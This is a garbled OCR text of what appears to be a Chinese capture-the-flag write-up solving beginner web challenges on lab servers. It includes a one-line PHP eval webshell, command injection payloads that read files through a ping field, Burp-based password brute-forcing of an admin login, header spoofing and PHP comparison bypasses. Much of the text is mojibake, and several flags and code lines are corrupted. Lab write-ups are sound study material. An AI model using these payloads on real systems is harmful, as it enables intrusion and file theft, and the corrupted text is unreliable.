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backup

cookie
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XEABRTEEEMIRNAN, FHEEf1 282803 FEurltb bk 570 _E"view-source:"& F W IR S Fiflag.
&« C @ #[ view-source:ttp://220.249.52.133:47192/
Byaissss HylieEsss @ F2r% OsmEmn B &= G GOKTECH

T T b e
<IDOCTYPE hEtml>

<html lang="en">
<head>
<meta charset="TUIF-5">
<titlexWhere i=s the FLAG</title>
</head>
<body>
<script>
document . oncontextmenu=new Function("return false")
document .onselectstart=new Function("return false")
</soript>

<hl>FLLAG is not here</hl>

f.——l cyherpeace{ 723dR3794a7a=99104bhad47e623a3af0} | —->
</body>
</html>
get_post
< ¢ @ © % 220.249.52.133:553701

Buaamesss BEyameses @ Hirkke Ssmme 7T C GOKTECH @) wischool 5812

IBAHGETAIUER— & Na [ENTHNEZE

HTTP% FH &R 5¥%: get, post.
(1) BEEEERSHEHEEURLEE, LL? BRBURLIIZEH, HH2A05H, MLL&AEIRSH

http://220.249.52.133:55274/? a=1



< ¢ @ © & 220.249.52133:53701/7a=1
Byamersss Exlemss @ srks Ssmmt JlFEW G GOKTECH @ wischool iR [d cTryE=EER:

BRGETHIURR— 1 & Na [BEARNEE
FRLPOSTATBEERIA— 1R /Ib,[BE/A20EE

(2) post: A postiEkHFfkhackbar. BB ANURL, #%#F#POST Data, #iApostiER, REHAT,
| oE:-:elzutiqlm

Post Data M Referrer Reverse i

Post data

BRAGETATIER— M B ha [EA 1SS
SBLAPOSTARBEER—ME b [EH2HEE
cyberpeace{92893fe1efce54de81340e64e9d15138}

robots

(1) fEURLJG In_E/robots.txtF15 14, &K ¥Iflag_1s_h3re.php
(2) Vilhttp://111.198.29.45:33982/fag_1s_h3re.phpd Fifiag

C @® ® 111.198.29.45:33982/f1ag_1s h3re.php

cyberpeace{ale53c2f03ac568e2c66bff957a50328}

(3) WA F 3 H A dirsearch(https://github.com/maurosoria/dirsearch)

python dirsearch.py -u http://10.10.10.175:32793/ -e *


https://github.com/maurosoria/dirsearch

B 20\ Windows\System32\cmd.exe - o X

Microsoft Windows [RRAR 10.0.18362, 1139] ~
(c) 2019 Microsoft Corporation. {REETANF .

D:\ﬁﬁlﬁ-\‘ﬁeblﬁﬁaﬁ\E%ﬁ%ﬁlﬁ\dirsearch—master*pythun dirsearch. py —u http://220, 249, 52, 133:33172/ -e * |

[22:05:06] 200
[22:05:07] 403
[22:05:07] 403

B3B
2976 - server-status
2958 - server-status/

[22:04:36] 403 - 298B - .htaccess.oriz
[22:04:368] 403 - 296 - . htaccessOLD
[22:04:36] 403 - 2988 - .htaccess. bakl
[22:04:36] 403 - 296B - .htaccessBAE
[22:04:36] 403 - 300B - .htaccess. sample
[22:04:368] 403 - 208B - .htaccess. save
[22:04:36] 403 - 295B - .httr-oauth
[22:04:36] 403 - 2898 - .html

[22:04:36] 403 - 288F - .htm

[22:04:36] 403 - 297B - .htaccessOLD2
[22:04:37] 403 - 2888 - .php

[22:04:37] 403 - 2898 - .php3

[22:04:58] 200 - 176B - index. php
[22:04:58] 200 - 176E - index.php/login/

D:AVEET R \Web TERE\BRIFWH dirsearch-mastery [ |

#f# Fdirsear® E#EPython33 5 T

#robots bt 18 R 51 2 rp U7 9] P 3k U IHR R EF S — 0. B— MERWKYT A — N R, EXEAREZERARERT
B F{Erobots.txt, WIRAFAE, RIS AL SISO T i A BRI E U5 I TR Bl WSRO A EAE, BT R R Bk
REA5 U5 19 W b B 0 D& R B U

backup



{RA1iEindex.phpEIEE{H3L
HEng?

(D) EREERCHIERLA: "gif's "sw's "swp"s "~". "bak". ".bash_history". ".bkf" (FE7F)
WIEIERindex php X H#HT &4, BNERMIE & N5, K2 baki &4 T4
Q. 220.249.52.133:55301/index.php.bak

IR T T
[ index.php.bak

IR bak File (300 =F15)
=iR: http://220.249.52.133:55301

Y8 E Firefox WMok {42
OfF, &) | HEE(@)..
(@ fRIFSIHESE)

L LSEs=RERNEBRET ., (A)

wE | WA

(2) FTEREG CHEET AR Efag.
(3) AT LM#E A B 333 T Edirsearchid Hindex.php.bak 304, ARG s,

Bl C\Windows\System32\cmd.exe — O *

:\?féé]:f%\Web:Eﬁi@EEE\Eﬂfﬁi%ﬁﬁ\dirsearch-master#pythun dirsearch. py —u http:// 220, 249,52, 133:49484/ -e *

Dutput File: D:\EFETH\Web TERE\BFBWH \dirsearch-master\reports4220. 249, 52, 1334_20-11-06_22-11-24. txt ~
|

[[22:11:29] 403 - 2988 - .htaccess. bakl
[22:11:29] 403 - 208B - .htaccess. orig
[22:11:29] 403 - 300B - . htaccess. sample
[22:11:29] 405 - 293 - .htaccess. save
[22:11:29] 403 - 296B - . htaccessBAE
[22:11:20] 403 - 287B - .htaccessOLD2
[22:11:29] 403 - 288E - .him

[22:11:29] 408 - 289E - . html

[22:11:29] 402 - 2896B - .htaccessOLD
[22:11:29] 403 - 295B - . httr-oauth
[22:11:30] 403 - 288 - .php

[22:11:30] 403 - 2898 - . php3

[22:11:56] 200 - 438E - index. php
[22:11:56] 200 - 500B
[22:11:56] 200 - 438B - index ohpsloziny
[22:12:05] 403 - 237B - server-status

2988 - server-status/

{[22:12:05] 403

DT B Web LEEE \BFIFW \dirsearch-master>

cookie

ﬁ@%ﬁ“:

(1) fEFirefox W28 FR128IT A KE LR, RI¥/E, EFM —1, WFE 24 HAlook-hereffcookie i) {E Acookie.php

O OEss Ossls OERE NEE (Y easss QO Onr [ o | esks 3 W9Rs @ MaxHackBar () AdBlock

~ B cookie T AEiEE + ¢ v
@ http://220.249.52 133:38910
v B aisees
» E Incdexed DB

Domain Path Expires / Max-Age #sh  HitpOnly Secure  SameSite  ZfEHE i

22024952133 /

look-here cookie php

Sun, 11 Oct 202013

(2) H&8EHE T A http://220.249.52.133:38910/cookie.php, #RNEFEhttpm i, FE‘PLE"—1=, 7]F 2 A cookie.php I ##E
£, fEHE kAT kIiflag



® 058 Dess OB | N Az | awae Oue Orr BEE § ooSRs % G985 @& MacHaksar () Adslock

W viEuRL Il Q ® FE HML C55 J5 XHR = B SE ws B [
b rvd miE HE i g sl (511 Fi @]% Cookie &k WH SF #i

& 2202495213.. cookie.php document

284] GET J 2202495213.. favicon.ico FaviconLoaderjs... html BEF 201 = Content-Length: 253
Content-Type: text/html
Date: Sun, 11 Oct 2020 13:25:25 GMT
flag: qberpeace{%&SSBdSBebmdQ55ccB2Dbcch??3d0}!
Keep-Alive: timeout=5, max=100

A -
(1) ¢ Fburpsuite T &3 3#URL, %Fﬁ%respon

.._.. Burp Suite Professional v2.0.11beta - Tem
Burp Project BiiE# ER# ®HO %HH
[ooxa [ 55 | k= | aes | 228 | ors | 58 | wus [ #erE | g9en [ 5res |

se (MARL) , A 344 ANlook-herefficookie & Hcookie.php

nsed to surfer ‘Z I"II":_l""II"’

IEC. ic

[ maam | = | mmex

‘ TR BREAFENEE, €SS, BA, —RERTEMNH, cBEREE, BRFLAR

L | Dhﬂ‘p'ﬂmﬂ ZTAQCT 12322010 I*_] E iﬂﬁ
1)
% cookie.php =il | 7ig | URL MEz: | #E [ £ | LTELE L C
hitp:/f220.249.52.133:38... GET ! 200 663
S o e

[ | me wa
| Rawl L | Hex | HTML TRender]

HTTRM .1 200 OK ' H
Date: Sun, 11 Oct 2020 13:11:07 GMT ﬂij]l]
Server: Apache/2.4.7 (Uburtu)

¥-Powered-By, PHP/S.5 9-1ubuntud 26 -
|Set-Cookie: look-here=cookie php | l::::;i‘l‘)" E:
ary: Accept-Encoding :
Cortent-Length: 417 Confidence: Ce
Connection: close Host: ht
Cortent-Type: texthitml Path: i
<htrl=
<head= Issue descripti

=meta charset="UTF-8"=
<title=Cookie=tile=
<link href="http: Mibs baidu.combootstrap/3.0 3icsshootstrap.min.css" rel="styleshest" i>

The application al
suitably positione
interactions with '

=style=
attacker able to m
hﬂd}‘(_ PR I S L] users and third-p
@ I = H t. H = I #AFEFT BEEE | governments to t

(2) SRS iM% 85 HENttp://220.249.52.133:38910/cookie.php, #Z response3kHiflag
[ s [55 | n= | ass (=28 | ors |5 [ o [#orE [ n0en | 5rem |

|| messeem|| == | mEmx

‘Et-;ﬁi&-: ERITIFEATE; S, BA, —HERTEMNIY, foRBER BREIGE

v http:#f220.245.52.133:38810 M i
[/ . 1
I [, cookiephp I =il | ik | uRL M= | K3 |
hitp:#f220 248 52 133:38... GET lcookie.php 200 675
EAS _j ||
[ — |



EEJEER

| mau.{m Hex I HTML I Render ]

HTTPM .1 200 OK A
Date: Sun, 11 Oct 2020 131657 GMT

Server. Apache/2.4.7 (Ubuntu)

¥-Powered-By: PHP/S 5 8-1uburtud 26

flag: cyberpeace{368QQd58eb4468d95500820bccb??3d0}I

Vary: Accept-Encoding

Content-Length: 411

Connection: close

Content-Type: text/html

=html=
<head>
=meta charset="UTF-8"=
<title=Cookie<fitle=
=link href="http:/Mibs baidu.combootstrap/3.0.3/csshbootstrap min.css" rel="stylesheet" /=
<style=
body{ T

&) e I e I A=

disabled_button

(1) fEHFirefoxi B AR ZF 12T A A R E LR, EEEFREOHFRAETTE, KINFEdisabled=""FB, FEZMATHEHT ZRE

t, ARMEHTML, RKiZFBMER. #aw%, a5 Efag.
v O=== Oetis DEEE NRE {(IetRERE OuE Onr B ¥ o8

8% HTML + A
<l1nk hret="http://11bs.ba1du.com/bootstrap/3.8.3/css/bootstrap.mn.css™ rel="stylesheet™ ~
p <stylex =) </stylex
</head» ]
w <body>

chix— P S e« /has
E|<For*m action="" method="post™:

<input|disabled=""|class="btn btn-default™ style="height:5e@px;width:2e@epx;" type="submit™
values

html » body » form » inputbtn bitn-default

— N BERRAYIRH

flag

cyberpeace{/b0946fe939e06393a323f8f542ed931}

(2) f# FFirefoxffihackbar, Fposti Rftidauth=flag, [ LA#EZflag.
weak_auth

(1) BHEBTHOLSEN, BEERMA—INHFEAEG, RaEMadminfl P&, Bk 2| T check.php, 7EURLETHNview-
source: BEFENRG, BT,

Login

password

login



reset

please login as admin

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="1UIF-5">
<title»weak auth</title>
</head>
<body>

< !——maybe vou need a dictionary ——)l

< /body>
</html>

(2) TEFirefox Yo gs H & I"—>" W 45 & B "—>“F ) R AL B "I /5 foxproxy R B ik 45 3%, T Burpsuite TR, s RE—F8E
K, BWAN123FLEEFE.
o FHAEESEM)

HTTP LX) | 127.0.0.1 Ww(P) 8080
AR T FTP #1 HTTPS
HTTPS Proxy r={H[(9)] 0

ETP REE &LI(R) 0

|ozs | o5 | | ans | =28 [ 2re | sms [ vus [ seve [ meen | mren |

[z | nemzizs | websocetmie |2 |

| bk | B [iE | oes | 28 | 248 | 688 | ous | @0y E | W

su | 1mPEzES | websocketFE | 24 |

£/ hitp:/i220.248 52 133:57928 5k

| ma || =a |[=max]|| 5o

[ raw [ 22 | % ] ex |

POST jcheck.php HTTPA A

Host: 220 245 52 133:57928

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;, x84, rv:81.0) Gecko/20100101 Firefox/31.0
Accept: textihtml applicationfhtrml+xml application/xmlg=0 9 imagefwebp *M*g=08
Accept-Language: zh-CH zh;g=0.8 zh-TWW,g=0.7 zh-HK,g=0.5 en-US,g=0.3 en,g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 27

Origin: http:/220.249.52 13357928

Connection: close

Referer: hitp: /220,249 52.133:57928/

Upgrade-Insecure-Requests: 1

username=admindpassword=123



(3) WEBWA: KI12MEABEER R, BkEE: WikE—>M B>k 123—>%
[ |25 | v= [ams | 228 | =5 | sms [ us (g [ s0e0

(o5 | am | zass |23 |

TR [EETF (Sniper) ]

POST Jcheck php HTTPA 1

Host: 220.249.52.133:57928

User-Agent: Mozilla/s .0 (Windows NT 10.0; Wing4, x84, rv:81.0) Gecko/20100101 Firefox/81.0 g
Accept: text/html ion/xhitml+xml, i whemlg=0.9 i P =08

Accept-Language: zh-CN,zh;g=0.8,zh-TW. g=0.7 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate B8
Content-Type: application/x-www-form-urlencoded —
Content-Length: 27 BlE
Origin: http:/220.249.52.133. 57928
Connection: close

Referer: hitp:/220.249.52.133:57928/
LUpgrade-Insecure-Requests: 1

username=admin&password§123§

T

faak]

(5) BT HEHBEM-BA-FHED . 7l
<https://github.com/rootphantomer/Blasting_dictionary/blob/master/%E5%B8%B8%E7 %94 %A8%E5%AF %86 %E7 %A0%81.txt>
55 | o [FEEm || 2 |

@ BiHiaE
ERNUEL NS ERARS. FUASANSENAT R BN FFENNERE. SMEUASRTNEREFEIASET, SENULERFEENERENASSED.
%
Faass: |1 || FusEas 7501
FESHRD (mRER v mmmE 7s01 22 ([ Blesting_dictonary-master | v| | (@ | | @ | | @ ) [[E ][ B
liunx_users_dictionaries. b D top100password.txt TEREFE
@ 2 300 7 39 T 5T 28 5l ] NTE S et topSO0EEE & et 5 & B bt
. _ README. md weblogic? i FETIE bt EETE N
RESTRAARNEEFESAR. renkoutop.bxd D webshellPassword. txt £ EAA bt
prrvn W = [ top1ow et HEHE b S ot
admini2
¥ o >
[ [(Sam ) | aomnces =
— adming
g | | admin123 b | XEEQY
| sysadmin .
) | i TERDT): (FEXE B!
adminx ;
Bkadmin .| T rke
[ @m | [zizzms

(6) FFadidy, EREMNAIIR, KIVEW 1234560, ALK B 5] BIA —F
% H# 7

[z ] =5 | oE | wumm | as |

| zmwean [©]
= N - &2 | EE EE (#F & | i
3 [ o ] ] 238 2
24 00000000 200 a a 434
25 111111 200 a a 434
26 11111111 200 a a 434
27 aaaaaa 200 (] (] 434
28 aaaaaaaa 200 (] (] 434
29 135246 200 ] O 434
30 135246789 200 ] ] 434
31 | 123455 200 [l [l 437 ]
32 654321 200 O O 434
33 12345 200 O O 434
34 54321 200 O O 434
35 123455729 200 O O 434 E
36 1234567890 200 ] ] 434 ¥

|

(7) piEEEWRNAE, RIflag
35 1234568789 200
35 1234587890 200

oo
oo

434
434 A



https://github.com/rootphantomer/Blasting_dictionary/blob/master/%25E5%25B8%25B8%25E7%2594%25A8%25E5%25AF%2586%25E7%25A0%2581.txt

| = | e |

Jﬂﬂw m Hex T HTML T Render ]

<meta charset="LITF-8"> &
<title=weak auth=#itle= £
<hhead=
=hody=

cyberpeace{flaab9Mae268e216T2T0aaceddd2fdeb}4—maybe you need a dictionay—=

<hocly=
=/html=

¥
@ =l = |#rzesy BEER
1273 of 7501 g - —-

&

simple_php



(O TIFIHE, #TAREE T, RATEERAa, bXE, FANWLa==0 HahH’, bARHTF Hb>12347 & [FIflag, FMgetl;
ERMAZE, EURLEM 2B TFRIE, 142 NS H00 L& HEE.

<iphp

show_source(_ FILE_ )

include ("confiz. php')

$a=0%_GET[ &’ 1,

=03 _GET[ v 1

if(3a==0 and 3a)i
echo $flagl;

1

iflis mmeric(§b)){
exit():

}

11 ($b>1234) {

echo Jflag?:
1
T

(2) HNa=0F%EREflagt, FARNHEE - ANa N KIZM, Bl LHESHatlis ' 0’ slabciX F #5890, HAH MR
MR, Btk

<Yphp
show_source(_ FILE_ )
include (" config. php”)
$a=03_GET["a" 1
Fb=03_GET['b’ 1,
if($a==0 and 3a){
echo $flagl:

}

iflis numeric($b)){
exit();

1

£ (3012340 {
echo $flag?:
}

i

Cyberpeace{647E37C762TCCIE401

(3) FFMAFRAEMFRF R E AR RIREHT, Fllbr LIgiE A12345a, KA H12345, KT1234, 53]
flag.
<Tphp
show_sourcel FILE )
include(“confis. php”);
$a=0$_GET[ a"];
=03 _GET b 1;
1f(3a==0 and 3a)l
echo $flasl;

}

iflis_numeric(3p)){
exit();

]

1f($b>1234) |

echo $ilag?:
]
e

Cyberpeace{647E37C7627CCIEA0TOECH9324F66CTCY

xff_referer

(1) ITFMNT)E, KIIPZ123.123.123.123, {#FFirefoxil 558, Fahi0 B CHR%L 5
(2) FTFBrup TEINME, AFHAHE (Proxy) —f283ER, Rl E kT

[T R | o (USRS S (NG S (N SIS i —




| T | 8iF ||‘1t:é I WNEEE | = EEE | ETIE | mITEE |JEHI$'E- |ﬁ1‘Fﬁ-‘ﬁ | e

[ @i ] nremziEs | wessootetiiz | 7 |

£ hitp:220.249 52.133:38757 # %
Lne J[_=e |[[===x]) =
Raw | & | Hex

GET JHTTPH A1

Host: 220.249.52.133:38757

User-Agent: Mozillais .0 (Windows NT 10.0; Wing4; x64; rv:81.0) Gecko/20100101 Firefoxfa1 .0
Accept: text/tml applicationfhtml+xml applicationxml;g=0.9 imagefwebp **g=0.3
Accept-Language: zh-CN zh;g=08 zh-TW.g=07 zh-HK;g=0.5 en-US3;g=0.3 en;g=0.2
Accept-Encaoding. gzip, deflate

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

(3) ARk R %S repeater. fErepeater & E HirHiht W2, 7EHost T A EMN:

X-Forwarded-For: 123.123.123.123 (GX—3RhEXFF, A (Forward) , WRIER) BERKEEZRT

https://www.google.com

PRFERNps /www.google.com

(4) fERepeater (K2 , Host FH#HM:

X-Forwarded-For:123.123.123.123Referer:https://www.google.com (iIX— Ry iReferer) midfiki%, 7EMR HE Flflag

< |r > v

iR

Raw | % | Hex

GET /HTTP/M A

Host: 220 248 52 133:38757
-Forwarded-For 123 123123123

Refererhttps: Mwww google com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x84, rv:81.0) Gecko/20100101 Firefox/31.0

Accept: textihtml applicationfhtrml+xml application/xmlg=0 9 imagefwebp *M*g=0.8

Accept-Language: zh-CH zh;g=0.8 zh-TWW,g=0.7 zh-HK,g=0.5 en-US,g=0.3 en,g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control. max-age=0

LoIE]

J Raw m Hex I HTML I Render ]

HTTPH .1 200 0K

Date: Tue, 13 Oct 2020 14:13.07 GMT
Server: Apache/2 4.7 (Ubuntu)
¥-Powered-By: PHPIS 5 9-1ubuntud 26
Vary: Accept-Encoding
Content-Length: 631

Connection: close

Content-Type: texthitml

<htrnl=
=head=
=meta charset="UTF-5"=
<title=index<fitle=
=link href="http: Mibs baidu.combootstrap/3.0 3/csshbootstrap min.css" rel="stylesheet" /=
<styles
hody{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
=/style=
<head=
=hody=
<p id="cemo"=ip Hhi: 2850 #123.123.123.123<ip=
=script>doecument.getElementByld{"demqg.Li
nt.getElementByld{"demo").innerHTML ="

H H S =lscript==script=docume
erpeacef{db422b4439509b6dc1adb288 08152113 </soript=</body =




=/html= I

HXFFiRTR X R KB )5 % https://www.freebuf.com/company-information/2204 14 .htmi

xffflreferer:

#X-Forwarded-For: fi#Rxffsk, ©RERE U, HEBAHTTPHIERWmELHIP, RAEERE THTTPARE E f 836 iR 5 856t
A LWIMZI. xhttp#3h & k&, 1EFRWeblR$-283KE 7 i) P IPE bk (Arfhi) o TR A @i AR R %3
BATUIR, RS HS R AEIREVREE AR &5 28 H0IP stk , TOxFEFZE FieRA P NELIP, UKRERESBRIIP. HRN:
X-Forwarded-For: ZA&#lIP, fSH1IP, REE2IP,

#HTTP Referer/&headerfl—84), 243 8% MWeb iR 45 8% RIiZIERHIIE, —B4H EReferer, & URIRSS 2332 NGB/ 7 4k
Bk, REBET ARG —SEHNEEHATARE. Refererhttpf3h Bk, /5 R85 2451 R 7 R V8 1 1)
Hiht. FRS5 2318 F Refererffiihili 9 kIE, R RefererI AR ER, RSB URBREE EEHIFER.

webshell

(1) —HEARY, HERRS T php—HiE, EHARKTIRTRER (CknifeBiHERE]) , D25 Eshell

{R<{EHwebshelll3?

<7php @eval($_POST['shell]):?>

(2) ZFRMEAPEKS . A#—>AddWAURLMOS, EHFERE, mEi"AddBImT
[ Add shell -ox

© Add % Clear

Shell url * http://220.249.52.133:57013
Shell pwd * shell
Encode UTF8 hd
Shell type PHP 7
Encoder
(= default
O chr

() base64

(3) f—>"FileManager (&, BIn] kiflag txtSCfF, T 3KEflag

LI FOIOers (u) € || LIHIes (2) ~
=3/ ONew ~ 4UP  ZRefresh # Home  MBookmark ~ | /var/wwwj/html/
=i
bvar Name Time Size Attr
=T www
flag.tut 2020-10-14 11:30:57 44 b 0664
i
@ index.php 2018-09-27 04:02:04 539b 0664

command_execution


https://www.freebuf.com/company-information/220414.html

PING

BRI EpingRYtiiE

‘ PING

(1) 2 HN127.0.0.1, KILF] LAVT 1] BT

ping -c 3 127.8.8.1

PING 127.9.0.1 (127.8.8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=8.858 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=08.834 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=8.835 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 2061ms
rtt min/avg/max/mdev = 8.834/8.232/8.6859/8.081¢ ms

(2) $1N127.0.0.1|1s (H&&WATLL) , HREBEREBE VI 24650 B %

ping -c 3 127.0.8.1 | 1s
index.php

(3) Ry, BRI Ol (8 BT Rilag XA , #EWA
127.0.0.1 | find / -name "*.txt" /733 . ext 3

127.0.0.1 | find / -name "flag.txt" //FHflag. txt X

ping -c 3 127.8.8.1 | find / -name "flag.txt"
/home/flag.txt

(4) V5l BThfE# AT &k Piflag xSk, FI127.0.0.1 | cat /home/flag.txt B 7] 2 & Flflag

ping -c 3 127.8.8.1 | cat /home/flag.txt
cyberpeace{9ca8dabd49636108593144de52a31fb25}

#a PR EEMT, HIBEAKRIT— D a SRS RIEBAE — MR
&&: i — A PAT RTINS, A PATE — %A

commandl | command2 // R 2p s 3
commandl && command2 // BIhA#AT2

simple_js



Enter password

i

D I REREMATN, EEMRIERE, LRI

<html:>

<head>
<title>J5</title>
<gcript type="text/javascript">
function dechiffre(pass enc){

var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.splic(','):
var tab2 = pass.split(','"}:var i,3],k,1=0,m,n,o0,p = "";1 = 0;] = tab.length;
E=3 + (1) + (n=0):
n = tab2.length;
for(i = (o=0}); i < (k= 3 = mn); i++ ){o = tab[i-1];p += 5tring.fromCharCode (o = tabZ[i])):
if{i == S)break;}

for(i = (o=0}); i <« (k= 3 = mn); i++ )} {

o = tak[i-1]:
if{i > 5 && i <« k-1)
p += String.fromCharCode {{oc = tab2[i])):
}
p += String.fromCharCode (tabZ[17]);
pass = p;return pass;

}
String["fxnmﬂhaICode"]tdechiffret1\335\x35\32c\x35\x36\325\x35\xB&\x2c\337\339\x25\331\x31\335\x2c\336\339\x2c\+

h = window.prompt ("Enter password'):
alert (| dechiffre(h) ):

(2) #ATRILEI, RUARIMAM A ERFEL, HEEA T fromCharCode
(3) RUZZRHEFHBICIES N NF/F\X §MNaEEKFAL R — M6 H 3, B CIES printfi & BI 7] 18 2 %3 B2

ASCIFS1E .
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("\x35\x35\x2c\x35\x35\x2c\x35\x34\x2
printf("\n");

B DS\ exe
55, bA, 54, 79, 115,69, 114, 116, 107, 49, 50

(4) K132 H T HASCIIRS (B B 7T 43 2lflag
int a[]={55,56, 54,79,115,69,114,116,107,49,50};
int 1i;
for(iz@;i<sizeof(a)/sizeof(a[@]);i++){

; printf("%c",(char)a[i]);

}

return ©:

I?BGDsErtkIE
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